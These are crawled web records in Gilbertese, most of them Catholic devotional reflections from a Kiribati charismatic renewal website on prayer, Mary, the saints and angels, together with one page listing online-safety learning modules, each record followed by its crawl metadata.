ma mimitongina ikai iaon te aba . Ti a raona Santo Baraniko n te bong aio ni kakeaira, ni kanakoi b'ain aora ao bain nanora, aika a tuka ara namakin ao ara taratara n nora mimitong ao tabun te Atua n ana karikibai ni kabane aika a otab'aninira, aika a maiu ao aika a aki ao inanoia tarira ao manera nako. Ti a raona Santo Baraniko\nni kainaomatai nanora ma tamneira ao n rierake n ara nebonebo ni katoa bong nakon te Atua ae Tamara, ma 'tarira ao manera'.\nTi a bubutia te Atua ana karatia ae te teimatoa ni kaakeaira. Ti na butia naba ba E na anganira matara aika a raka riki aron ara noraba iai n nora mimitongina n bai ni kabane, ao ara namakin aika ti na kona iai n reitaki ni koaua ma Ngaia n tainako, inanon ara nebonebo nakoina ibuakon ana karikib'ai aika a otab'aninira. Ti a bubutia naba ara kakauongo aika a raka ba ti na kona n ongo tangiraoin b'anaana inanon ana kararikibai ibuakon tabetaben te aonnaba aio.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1570","date":"2023-06-05T02:47:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00162.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2410,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.417,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Taranieta\n-\n- Details\n- Written by Uriam Timiti\n-\nBon nanon te Uea ibukira ba ti na riai ni kariki ua. Te kai ni kurebe kanga bon nanora n tatabemanira are e a tia ni katauraoia man ununiki iai te Atua ba e na kariki ua; E a tia naba naba ni katea te o iai ba e na tuuki taian kabuanibai. Te o aio boni ngaia katanara ake ti anganaki inanon taian tua ao irouia anera ake taan kawakinira. Ti anganaki naba katanara ao tararuakira inanon te Ekaretia. E kairira naba te Atua nakon iangoan baini Karawa rinanon maiua aomata aika a tabu ao E anganira te kona n rikirake inanon te tangira n reitakira ma tarira ma manera.\nMa ti na kanga ngkanne ni kariki ua? Ti na kariki ua ngkana ti kona ni kouti taian uteute\/titania ake a na karibabai ara iango- aio bon te kainaomataaki man katabetaben te maiu aio ake a na katinebuira. Ba ngkana ti inaomata man kaubain te maiu aio ao ti a kona ngkanne ni maiu raoi mani katotonga te kai ni kurebe are e tabe n tamarake ba e na karekei bai ni Karawa. Ao ngkana ti tamarake nako Karawa ao ti inaomata man bain aonteaba ao ti na kona ni kariki ua aika raraoi.\nTariu ma maneu, ti na manga motinnanoia ngkanne inanon te namakaina aio ba ti na kariki ua n aiaron are kantaningaia te Uea. Ti butia Nei Maria ana buoka inanon karikirakean tangiran te korona. Ti na kona ni kariki ua ngkana ti rairaki nakon te Uea mani butia buokara ao ngkana ti kainaomataira man katabetaben te maiu aio ao ni kabanei ara tai ni baini Karawa. N aiaron ae kauringira St Bauro n ana reta nakoia i Biribi, ti riai n teimatoa ni karaoi baai ni kabane ake ti a tia n anganaki man ongo iroun Iesu. Ti riai n taai nako ni kakoaua ba E maiu te Uea inanora ao bon Ngaia ae E mamakuri inanora. N te aro aio ao ti na aki toki n namakinna ba E maiu ni koaua inanora ana Raoi te Atua. Ngkana ti aki kariki ua ao ti riki ba kai ni kurebe ake a na taobekaaki nako ao man koreaki ao ni kabuekaki ba akea manenaia.\n- Details\n- Written by Uriam Timiti\n-\nTi na neboa te Uea n tai nako ao ti na karaoa Nanona n aki toki.\nTeuana bukin karikara iroun te Uea bon neneboana n taai nako n reitaki ma ana karikibai ni kabane. N tabetai ao ti nora maiura n te bong teuana ma teuna ba kanga ai aron ae ti tibatiba ara tai imarenan te Uea ao bain te aonaba. Ma ti na kanga ngkanne ni kona n neboa te Uea n tai nako? Iai te bai teuana ae I kunea inanon maiu ni kekeiaki ba ngkana ko uti n neboa te Uea ao ni kareana am bong inanon te kukurei ao te rawawata, te marakai ma te kainnnano, ao ko na namakinna ba ko tataro inanon baai ni kabane aika ko karaoi. N te aro aio ao ko kona n namakina ae ko neboa te Uea man te moani ingabong ni karokoa te tairiki. Ngkana ti neboa te Uea ao ti kakoaua ba muiokon bai ni kabane Ngaia, ao E tararuara ni bai ni kabane ao bon akea te bai ae ti na riai n tabeianga iai. Are nanona ngkanne ba ti na riai n aki toki ni kakaraba man neboa te Uea ibukin kororaoin ana tangira nakoira n tai nako.\nTe kauoa ni wewete nakoira ni maiura aio ae moan te kakawaki bon tatakaruaean te Rongorongo ae Raoiroi nakoia tarira ma manera. Ti kauringaki n te bong aio ba ti na riai ni karaoi baai ni kabane aika ti taekin nakoia tarira ma manera. Are nanona ba inanon bai aika ti taekin ao bon ngaira moa ae ti kainnanoia ba ti na ongo te rongorongo anne. Are nanona naba ba e na riai n ti teuana te bai ae ti taekinna ma te bai ae ti karaoai. Ti na reitaki ma te tataro n te Taramo teuana are kangai, \"Te Atua anganai te karatia ba N na kona n riki ba te moan aomata ae na ongo am rongorongo are ko taekinna.\" E taku naba St Augustine ba \"Ngkoe are ko taetaekina te Rongorongo ae Raoiroi, kakauongo (ao karaoa) moa te bai ae ko taekinna, ngkana ko tangiriia aomata ba a na ongo iroum.\"\n- Details\n- Written by Uriam Timiti\n-\nTi karaba te Uea ngkai ti a manga bane n roko inanon te namakaina aio are bon namakinan te Rotario. Aio te tai are ti bane n reitaki iai ma tinara Nei Maria ni karinea ba ngaia Uean te Rotario. Ni kaotin Nei Maria i Fatima n 1917, ao e anganira te korana Nei Maria ba ara tataro ni buakana te bure n te aonaba ao ni kaokiia tamnei ake a bua man raroa nako ma ana tangira Natina ae Iesu. Bon aio naba te te tai ae kakawaki irouia utu ni Kiritian n te aonaba ni manga kunea kaubain ana buoka Nei Maria ni kona n tibatibai taian karatia ake e tia ni kaonarakeaki iai iroun te Atua. Inanon tinara Nei Maria ao ti kona n ono n ana karatia te Atua are ti kainnanoia inanon maiura i aonteaba ao n ara borau nakon mwengra are E tia ni katauraoia Iesu ibukira. Ti na bane ni manga kaboua tangiran te korona are boni ngaia te kaubai teuana are e tia n angira tinara Nei Maria. Ti manga karina te ang ae bou n ara utu ao iroura n tatabemanira ibukin tangiran te korona. Ngkana ti tataroakina te korona ao ai aron ae ti kareani ara rooti aika aki kona n rai nakon Iesu ake a na riki ba kanga ai aron ara karinimane nakon te maiu ae na roko.\nTi kauringa naba n te bong aio ana toa St Theresa n Iesu te Tei are aki toki ni kabarabaraki ba te ue te rooti ae uareeke. Te ue bon ana karikibai te Atua ae rabatana te tamaroa ao te kakukurei nakoia aomata nako. E rangi ni kinaki te Santa aio ni kekeiakinan karaoan te tamaroa mani makuri aika uarereke. E rereinira naba Santa Teresa ba ti kona ni karekea te maiu ae tabu mani karaoan raoi ara makuri ke tabera aika uarereke. Inanon te nanorinao ao te nimamannei ao ti kona ni karekea te reitaki ni koaua ma te Atua. Aio are e bon kaineti raoi ma kanoan te wareboki n te bong are \"Te Atua E kaota miterion kaubain ana tangira nakoia aika a uarereke n aiaron St Teresa. Ibukin matenanon te Santo aio ni maiuakina Karawa ikai i aoanteba inanon karaon makuri n tangira ao E a tia ni katokaaki iaon te Santa aio te ara ae kakannato ae Taokitan te Ekaretia iroun Bobe Ioane Bauro n 1997, e ngae ngke bon akea ana rerei ae bubura. Inanon tataroakinan te Rotario ao ti na butia Santa Teresa ba e na kamamararai rotin ana karatia te Atua mai Karawa nakoira ni kabane.\nTi katekeraoia naba botaki ke kurubu nako n ara charismatic ake a tia n ingoanaki iroun Santa Teresa n Iesu te Tei.\n- Details\n- Written by Uriam Timiti\n-\nN te bong aio ao ti neboa aia toa anera aika a tabu i Karawa. Tariu ao maneu tera te bai ae ti ataia n rongorongoia anera? Te bai ae kakawaki ba aio kanoan ara onimaki ni Katorika: ti kakoaua ba iai anera aika maiu ni kukurei irarikin te Atua, mani katonga kororaoin te kimareirei inanon kororaoin te tamaroa are mairoun te Atua are akea te mata ae e a tia n noria, ke te taninga ae e a tia n ongo, ke nano ae e tia n namakinna. Ti bon aki kona ni kabarabara te mimitong ae a mena inanona anera ma ti ti kona n kabarabarai aron aia ibuobuoki nakoira. Ba irarikin aia kona ni katonga kimareirein te Atua, a bon tauraoi naba anera n ibuobuoki inanon baai ni kabane ake iai iai te tangira ma te nanoanga. Ngkai ti bon aki kona n rota ke ni kabarabara kakannatoia anera i Karawa, ao nanona ba ti kona naba n onimakina tauraoia n taai nako ni makuria ana nanoanga te Atua nakoia aomata.\nE taku St Bauro n te kaotioiti teuana are e reke irouna ba e nora Karawa ma kaubaina aika a karabaaki are ngaia bon tabeia anera ae kakawaki ba te ibuobuoki nakoia ake aia bai te kamaiuaki. Ti kakoaua ba tabeia anera aio bon tiaki te bai ae raka ngkai te Atua are Ngaia aia te Tia Kariki baai ni kabane ao aia Uea kain Karawa ni kabane, E a tia ni kaotia iroun Natina ae Iesu ba E roko i aonteaba ba E na aki buokaki ma E na anga te Maiu nakoia aomata. Te rongorongo ae moan te kakawaki ngkanne nakoira n te bong aio ba anera bon tan tia ibuobuoki nakoia aomata aika kan kamaiuaki iroun te Atua.\nI uringnga n te bong aei kakukurein te tai are e a butimaeaki iai tarira ma manera n ara botaki ae St Padre Pio, i Suva, ae Tem Barry (natia Ian ao Maryanne) nako Karawa irouia Akaanera aika St Mikaere, St Rabaere ao St Kabiriera. Ti na tataro n te bong nakoia ara anera ake tan tia kawakinira ba a na buokira inanon ara kekeiaki ao riki inanon ara taai are ti reke iai n te kabuanibai.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1575","date":"2023-06-05T02:30:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00167.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1579,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.384,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\n- Details\n- Written by Taranieta\n-\nTe nano ae itiaki man tamaroa bon ana baintangira nakoira te Atua inanon ana karatia are e anganira ba ti na teimatoa iai. Man ana karatia te Atua ao e riki n te itiaki ke e riki n Imakurata Tinara Maria ba e na rikinaomata natin te Atua ae Iesu. Nanon te miterio aio ba akea te bai ae e aki konaki ni karaoaki n ana karatia te Atua. Ai arona naba ngkana ti butia ana karatia n tainako inanon maiura ao ena bon kabaroa inanora ao ti na onrake iai. Tiaki ti onrake iai ma ti na bon kona ni karaoi ana kakai te Atua, inanora, ao nakon nanoia raora ao inanon ara makuri ni kabane. Ngkana ti butia ao tina onimakinna ni koaua ba e a roko iroura, ngkai e ongo ao e kakaonimaki n tainako te Atua.\nTi na butia te Atua ana karatia ba ti na kanakoi karibaakin nanora ni kabane.Ti na butia naba ana karatia ba ti na kona n tuki bai aika ana karibai man kabuakakai nanora, ao n urua te itiaki ma te tamaroa inanora n te tai aio. Aikai tabeua aika a reke iangoakia, ao ti a bon botii ma ake inanom n te tai aio, n angan te Atua, rinanon Atinibanin Natina ae ana rikitemanna, ara Uea ao ara tia kamaiu ae Iesu, n te bong aio:\nNanokokoraki.\nIai ana taeka St Ioane (St John of the Cross) ba ko riai ni kanakoa te nanokokoraki mai inanom ibukin raom, ba aio e na kamauna itiakin ao tamaroan nanom. Ana bai te Atua aron raora ake ti a anganna n ara tataro ibukia, ao ngaira ara bai te kaetira ma te Atua n tainako .\nTe un ma te rokonnano\nN te wareboki n te bong aio ao e taekinaki naba ba te un ma te rokonnano bon te bure ao ti bon ataia ba a nako man nanora aika a buakaka. Ti na kaaki unra ma ara kairiribai ao n angan te Atua ba ana bai, ao ngaira, ti na kaeti nanora ma te Atua n tainako.\nKaibabarun nanora ni kabane.\nN te bong aio naba ao e anga ana taeka St Ioane Viane ae nna kataia n rairia nakoim: Tiaki ngaia anne tariu ao maneu, te karatia n kororaoi ae te itiaki, a aki ataia, ataeinimane, aika mataia ao baia, a kamaraeaki man aia mataukiro ao...Oo Atuau, ao ai bon maitira tamnei aika a uakinaki nako mone....Te karatia n kororaoi ae moan baan te tamaroa aio, a bon aki ataia naba ataeinaine aika a kabuakakaki nanoia ma tamneia, ni kaibabarun aonteaba, ake a kabaabanea aia tai ni kakabotonnaineia, ao a kabanea aia tai n iangoia ba ana katika matan te noo nako aon rabataia.....ake, n aron kunikaia aika a nanoni ba ana kabakabaka iai, a bon kaotia nakon te koraki, ba bon ngaia bai ni makuri aika a kammaira, ake a kabonganaki mai mone ba ana urui tamnei aika a itiaki man tamaroa......aika tamnei ake e korarakai iai Iesu ni kaboi n uruakin nanona ma korakaina ni maraki. Ani bon taraiia, nakai aika ti a arania ba,, a bua kabaiaia.... ao kona bon noriia nga ma ngaa tamnei aika a buakaka, ba a mimitoiaki man otabaninia atuia ma banibania. Ma te bai ae e a bon rangi ni kakubanako riki bon atakina ba tinaia, a kariaia ba a na mena natia n te maiu ae e a aki tau ibukin te Kiritian. N na bon tuangia tiina aikai ba bon akea okoroia, ba ti tebo aroia imatan te Atua ma natia aine aikai. St Joane Viane.\nTi a butia te Atua ana nanoanga , iroun natina ae ara tia kamaiu ae Iesu, ao ana karatia ba ti na kanakoi bai aikai mairoura ao e na anai ni kararoai ma ngaira n aiaron raroan mainiku ma maeao ma aroia n aki kona ni kaitibo. Ti a butia te Atua ba e na anganira ana karatia n kororaoi ae te itiaki n nano ao te tamaroa n tainako. Ko raba te Atua.\n- Details\n- Written by Taranieta\n-\nTi a bon rimoa moa ni katituaraoa te Atua n te ingabong aio ibukin ana baintaningira nako ao n te maiu ao te marurung are e a manga karokoira iai n te bong aio. Tia katituaroa Iesu ibukin tibangara ake a tia n reke mairoun Tinana Nei Maria. Ti a karaba Tinara Nei Maria n ara reitaki ma ngaia ae e okoro ngkoananoa ao riki n arona ae e teimatoa ni kairira iaon te maiu aio nakon natina ae Iesu.\nNgkoananoa ao tao e bon reke ara tai n tanrikaki ao n ururing ma te nano ni kakatituaraoi ibukin arora ake tia tia ni buokaki iai n ana ibuobuoki Tinara Nei Maria n ara Novena ma ngaia, ke n tai ake ti wetea ana buoka iai, ke n tai ake ti butia ba e na katanira iai ian ninirana, N tatabemanira ao bon iai ni kabane aron kamimi aikai ake a tia n reke iroura ke ti ongora mai irouia raora. E oti iai aron kororaoin ana tangira ma ana kakawakin Tinara Nei Maria nakoira, ma ae kakawaki riki bon arona ae ti ataia ba te tia kairira ni koaua iaon te aonnaba aio.\nTe wareboki n te bong aio ao e kakorakora ara iango n nora te kabaia ma te kukurei mai iroun te Atua ao arora ni kawa ngkana ti mawa mairoun te Atua. Ti a riki ni mataki ao ngkana ti a kairia raora ngkana ti mawa ma te Atua ao ti na bon bane n reke n te kabuanibai.\nN te tai aio ao ti a bubutia Tinara Nei Maria ba e na riki ba te tia kairira ba ti na aki baka n te manono ma raora. Ngkai e atai ni koaua arora iaon te aba ao ti na butia ba e na taui baira n tainako inanon ara borau n te maiu aio. Ti na butia ba e na kaeta kawaira ba e na reke abara n tainako ae Atinibanin Natina ae moan te Tabu.\nTe bai riki ae ti na bubutia, ba e na kamaiua inanora, ana tangira n tainako. Ai tera aron koburaken ara tangira, ara nebonebo ma ara kakatituaraoi nako Iesu ngke arona ba ti te bo nanora ma nanon Tinara Nei Maria!!! Ai tera aron ara reitaki ma Iesu n te Eukari ao n tabo nako, ngke arona ba e reke iroura nanon Tinara Nei Maria!\n- Details\n- Written by Taranieta\n-\nTi weteaki n te bong aio n kanoan te Euangkerio nakon iangoan ao noran tamaroan te raoiroi ao tarabuakan te buakaka.\nE kinaki te kai man uana. E kinaki te nano man te taetae ba man kaubain nanon te aomata ao e otinako kanoana man te wi ba e raoiroi ke e buakaka.\nE kamatata naba ana Euangkerio Ruka ba e kabarabaraki aron te aomata ae e onrake nanona n te raoiroi ba e ongo ana taeka te Uea ao e ira nanona. Ti tebo ma te aomata are e katea ana auti ae e koro matoana. Te aomata are onrake nanona n te buakaka ba e aki kan karaoi ake e tuangnga Iesu ao e na bon baka ana auti n te aro ae e kakaiaki (in ruins).\nAi bon arora naba. Ti namakina te korakora, te kukurei ao te tokanikai ibuakon te mwengabuaka ao te kariribai ngkana ti ongo ana taeka Iesu, n aron ae e kangai, ane ko butiai ao nna karaoia.\nTamaroan nanora ao nanora aika a raoi a kaira ara iango ao ara makuri ake a manga bon kairia raora ni kabane nakon te mwengaraoi, namakinan te tangira ao te raoi ma te rau.\nNgkana ti roko ibuakon te botaki ma nanora aika a kiriwe, ao ti na bon manga kairia aomata nakon te mwengabuaka, te kiriwe ao te buakaka.\nTi a butia Iesu n te bong aio ba e na anganira te totokanikai ni uouotakin ana tangira ao ana raoi nako buakon te koraki. Ti a butia ba e na anganira te korakora, te wanawana ao te matairiki n tainako ba ti na bweena nanoia aomata nakon te mwengaraoi ao te kukurei ma tiaki nakon ae aki botau ma nanon Iesu.\nE raba te Atua are e a kaman nori nano ni kabane ao e buoki nanora aika a koaua n ukera ana tangira ma ana raoi n tainako.\n- Details\n- Written by Taranieta\n-\nTi na reitaki man nebonebo ni kakatituaraoi n te bong aio ba ana rekenibong Tinara Maria. Ti na kaoti ara kakatituaraoi ao nanora ni kimareirei nakon te Iesu n ana baintangira nakoira ae Tinana ao Tinara Nei Maria n te bong aio.\nTe bong aio bon te bong are e katauaki iroun te Ekaretia ba ana bong ni bung Tinara Maria.\nN aron ae e tataneiai ni kakaraoaki ao ti bon karaoa ara botaki ni bukamarua te rekenibong ao n uoti ara bai nakon te tia koronririki ba kaotan ara tangira.\nI taku ba a kaman tauraoi ami baintangira ibukin Tinara Maria n te bong aio ma kanoan te buroukuraem ibukin ami botaki n reita te kukurei ma te nano ni kakatituaraoi.\nTeuana ara bai n tangira ae e rangi ni kakawaki n te bong aio bon te itera ni ba ae Kanan Tamneira n ana website te Kiribati Catholic Charismatic Renewal Service. N te bong aio ao e a kaewenakoaki te itera ni ba aio man kakoauaki n aia nebonebo ae e raka te botaki ni Charismatic iaon Biti ake a reitaki iai ma botaki n Charismatic iaon Nutiran ao Kiribati, ba aia bai n tangira ae e raka nakon Tinara Nei Maria. Ti kakatituaraoa te Atua ngkai e kataua ba e na waki te itera ni ba ae e maiu aio ao man taubobonga nakon ana rekenibong Tinara Maria ba e na riki ba nnera are ti na kona n reitira iai ma Tinara Maria, ni katoa bong, ni kananoi ara iango ma ara onimaki n taian tibatiba inanon te itera ni ba aio.\nTi na kakatituaraoi nakon te Atua ibukin ana baintangira nakoira ae iaon baintangira nako ae Tinara Maria. E anganira e Atua, tiaki ti ibukina ba e na riki mai irouna ara Tia Kamaiu, ma ibukina naba ba e na riki ba tinara ni koaua ae e na kairira man tabeakinira ni koaua ni katoa bong.\nA bon aki kona ni botau ara baintangira n te tai aio ma aron mimitongin ana tangira Tinara ma ana makuri aika e a tia n karaoi ibukira ao aika e tabe ni karaoi ni katoa bong ibukira. Ma e ngae n anne ao ti a bon boti banara n te bong aio inanon ara waki n nebonebo ao ara maroro ma ara tibatiba n te bong aio n ara tabo nako ba ti na kaoti ara tangira ma ara kakaitau nakon Tinara, ibukin ana makuri ao ana tangira nakoira ae akea kabotauan tamaroaia aika ti a tia n nori ao ni kakoauai inanon mauira ao maiua tarira ao manera nako ni katoa bong.\nKo raba Tinara Maria n am tangira ae kororaoi nakoira. Ko raba Iesu ngkai ko anganira tinam ba tinara ni koaua. E raba te Atua Alleluia Alleluia Alleluia.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1595","date":"2023-06-05T03:43:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224650620.66\/warc\/CC-MAIN-20230605021141-20230605051141-00229.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1865,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learning Module\nKinakia ao totokoaia taan aonikai n te intanete\nKabonganaan te intanete n reitaki iai ma aomata e bon kaunga ao ni kakukurei. Ma e rangi ni kakawaki bwa ko riai n ataia bwa tomam nako ke aomata a kona n ae tiaki ngaia n aron are kantaningaki.\nLearning Module\nTe kona n atai rongorongo ake a katokaki ao a nako mai iaa\nNi katobibia te aonnaba, ao aomata a kona ni kai karekei rongorongo ni kabotauaki ma taai ake mai imwaina—n te intanete ao n rongorongo ake a katokaki iaon te intanete, ao ni bon rerio iaon abaia, beeba ni kaongora ao te tamnei ae maiu.\nLearning Module\nKaungaan Te Online Acceptance Ke Te Reitaki Ae Tamaroa Nte Online\nNikabane aomata iai inaomataia bwa a na mwengaraoi ao n karineaki n te online ao n te real life naba.\nLearning Module\nTe Online Safety Ibukia Aomata Ake Iai Toaraan Rabwataia\nTe discrimination, bullying ao te abuse aaki butimwaeaki and n riai n katokaki – n te online ao te real life.\nLearning Module\nTe Online Safety Ibukia Aine Ma Ataeinaine\nIai inaomataia ataeinaine, ataeinimwane, aine ma mwane ibukin rikirakeia, kamanoaia ao karineaia ma ongoraean aia iango.\nLearning Module\nTe Guide Ibukia Kaaro\nAikai bwaai tabeua aika ko kona n karaoi ibukin ana safety am family.\nLearning Module\nAm Digital Wellbeing(Mwengaraoim n Te Aonaaba n Digital)\nA mwaiti te roronrikirake ae a kona n namakina ae aaki konai uotaia ke n taonaki ma angin bwaai ae a rinanona n te online ke n te real life.\nLearning Module\nTe Sexual Abuse, Te Exploitation ao Te Harrassment\nTe sexual abuse (mwakuri n tangako n akea am kariaia), te exploitation (kammwakuraki n akea karinean inaomatam) ao te harrassment (te bwainikirinaki), a bane n kona n reke n te online ao n te real life naba, nakon temanna ma temanna.\nLearning Module\nAron Butimwaean Bwaai Aika Kakamaku ke Aika Aki Raoiroi\nUringnga n taratara raoi bwa ko na aki nako n websites are ko na mwane n click.\nLearning Module\nTe Online Bullying\nTe bullying bon te waki n iowawa ke n kakamaku nakon temanna. E kona n riki n aki akaka ao n mwaiti aekakina, n ron kabutanakoan kabwararia (rumors), katokaan tamnei aika aki raraoi, ke kakamakakin temanna.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/wethinkdigital.fb.com\/pc\/en-us\/pccountry\/kiribati\/","date":"2023-12-03T01:51:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100476.94\/warc\/CC-MAIN-20231202235258-20231203025258-00523.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":376,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\n- Details\n- Written by Uriam Timiti\n-\nMauri tariu ao maneu n ana tangira ara Uea ae Iesu,\nInanon te wareboki n te Baibara, n te boki ae Etita, ao ti kona ni wareka taekan wanawanan te aine ae Etita.\nNi makorona ae \"E roko Etita imatan te Uea,\" ao ti nora iai aron tauraoin ma ninikorian Etita ni waki nako matan te Uea ae Atueruti ba e nang iangoa kamaiuiaia ana botanaomata ake a nang bane ni kamateaki n ana waki ni kairibai Aman ae temanna ana tabonibai Atueruti. E taekinaki ba e kanako taeka Etita nakoia ana botanaomata ba ana reitaki inanon tenibong n tataro ma ni kamangoria ao n aki mamatam imatan te Atua, ma te nano ni koaua. Ngke e a koro tenibong ao e a mananga ma te ninikoria ao te onimaki.\nE taekinaki imain te makoro aio aron ana tataro Etita nakon te Atua ao ibuakon ana taeka ao e kangai nakon te Atua, \"Anganai te ninikoria ngkoe aia Uea atua ao mataniwia tan tautaeka. Wiwinai taeka aika a tangiraoi ngkana I kaitaraa te Uea ae Aatueruti. Bita nanona nakon ribaakin aiara ae Aman ba e aonga ni kabuanibai ngaia (Aman) ma raona ni bane.\"\nTariu ao maneu iai te iango ae moan te nano man kakawaki man te taeka ae wiwinai taeka aika a tangiraoi ba ti kona nora iai bannan te WANAWANA are e reke iroun Etita, ae bon mai iroun te Atua. Ngke e a tia ni katauraoia Etita ao e nang mananga nakon te Uea ao e taekinaki ba \" E koro tamaroana, ao e raneanea matana n te kukurei ma te tangira ma e koro te maku inanona.\"\nN rokona imatan te uea are Atueruti ao e bitaki nanon te Uea nakon te nimamannei ao te tangira ae koro ao e ongo ana bubuti Etita ao a maiu ana botanaomata Etita ae Iteraera.\nTariu ao maneu, aio teuana te wareboki ae aki toki n okioki inanon te nebonebo ao tao iai nanon ara Uea ae Iesu iai nakoira ni kabane. Bannan Etita aio bon te banna ae tangiria Iesu ibukia ana tabonibai ake e a tia n rineia ba taan kairiiri, aika a na kamaiuia ana botanaomata te Atua. Aio naba te wewete nakoira ni kabane ngkai ti bane n kairiiri ni kabane, man te utu, n te botaki, te kaawa ao te tautaeka. E anganiira arora n tataro, te kamangorira ao te aki mamatam ma te nano ae koaua. Ao ti na waki ma te onimaki ba e na wiwinira te Atua ara taeka ma arora ao ti na tokanikai iaon aiara ma kanganga aika a na kaitaraira, tiaki man korakorara ma ni korakoran ao m'akan ara Uea ae Iesu.\nTi na bubutia te Atua ana karatia ba ti na kona n uringnga n tainako n okirikaaki nakoina n aron Etita ao n aron ana rongorongo Tinara Nei Maria ae e teimatoa ni bubutira, te maiu n tataro ao te aki mamatam, ba ti aonga ni karaoa ara makuri ni kairiiri ni koaua (n aki manikangare) ao ma te korakora, te ninikoria ao te wanawana mairoun te Atua n tainako.\n- Details\n- Written by Uriam Timiti\n-\nN te bong ae te Moanibong ao e kauringaki iai ana Toa Santo Ioane te Tia Babetito ni kaota aron matena ae e kakannato ni kakoroa bukinana iroun te Uea ni katauraoa kawain natina ae Iesu ae boni Ngaia te Kawai, te Koaua ao te Maiu nakon Tamara.\nE mate Santo Ioane ibukin te KOAUA. E aki wimakiki n kaonakoa neiere buun tarin Erote ni kaota arona ae e aki riai i matan te Atua ni mataiakina buun tarina are bon te Uea ae Erote. E bane maiun Santo Ioane n tataekina te koaua ao e mate ibukin te koaua. Tao ti na kangai ba tera te KOAUA. Ti bon bane n ataia ba te Atua, e ti tatangira te koaua ao tiaki te kewe. Ti bon bane naba n ataia ba te wanawana e reke man ataakin te koaua ao kakaraoan te makuri inanon te koaua. Ti bon bane naba n ataia ba te kewe bon kaaitaran te koaua ao bon ngaia kawain ma b'akan te nanobaba.\nMaitira ara tai ae ti a tia iai n kararoaira man te koaua ba ti baka n aki noria ke n ataia ngke ti bon ataia ba ti riai n tei iaona?\nBaikara baai aika a riki man karaoan anne? A kakukurei ke a kananokawaki? A karekea te raoi ke a karekea te mangaongao n ara botaki ma ara community? Ao bon iroura n tatabemanira nako, maitira ara tai ae ti babaina te kokoaua ao e reke te rauaki n nano iroura? Ke maitira ara tai ae ti kewe iai ao ti aki rau?\nTariu ao maneu, ti na bubutia te Atua n te tai aio n aran Natina ae Iesu ba E na anganiira te kakorakoraaki n tainako ba e na riki te KOAUA ba ara kambati (compass) inanon maiura. Ti na butia ba E na anganira te karatia ba ti na kona ni maiu inanon Iesu ae te KOAUA n aron Santo Ioane te Tia Babetito are e aki wimakiki ao e ninikoria iaon te koaua n tainako. Ti na bubutia te Atua ba E na kakorakoraira n tei n te koaua n tainako ba e aonga n reke inanon maiura kabaian te wanawana ao tiaki tekebuakan te nanobaba.\n- Details\n- Written by Uriam Timiti\n-\nTariu ao maneu, mauri n ana Tangira ara Uea ae Iesu,\nTi na reita aron te bong are ngkoananoa are 29 n Aokati. Irarikin are bongin te toa ae kauringan maten Santo Ioane te Tia Babetito iroun te Ekaretia, ao bon ana toa naba Tinara Nei Maria, n arana ae Uean te Marurung (Our Lady of Good Health).\nE bon kona n nako ara iango ni kananoa nanon aran Tinara ae tatangiraki aio iroura, ao aikai tabeua iango mai ikai ao kam bon kona naba n ikotia ma ake iroumi, ni kabaranakoan kakannaton ao nanon ana rongorongo Tinara Nei Maria iaan arana aio – Uean te Marurung.\n1. E mena iroun Tinara Nei Maria buokara ibukin marurungin rabatara.\nE buokira ni katoki aorakira ma kainnanora n aorakira, n uan ana bubuti nakon Natina are e ongoongo irouna. Ti ataia ba e karokoi ara bubuti ngaira natina aika aomata ni kabaneia, nakon Natina ibukin buokara n aorakira ma mamaran rabatara.\nIbukira ngaira aine, e riki Tinara Nei Maria bon te banna, ae ti riai ni katotongnga, n tein rabatara, ba bon mai iroura ae e maiu man otinako mai iroura te botanaomata, are te mwioko ae moan te mimitong. E itiaki rabatan Tinara Maria ba e Imakurata- ti riai naba n maiu ma rabatara aika a itiaki. Ti kona n iangoia ba inanon ana tai ni maiu iaon te aba ao e kunnikaia n tainako n kunikai aika a mangori ma a itiaki. E bon bae n keiaki n tainako inanon te marurung ao te mamara ni kakaitiaka nanona ma nanon mwengaia, ibukin mwengaraoin Natina Iesu ao tibura are Santo Ioteba. Ngaira aine, man itiakira ao konamakira n 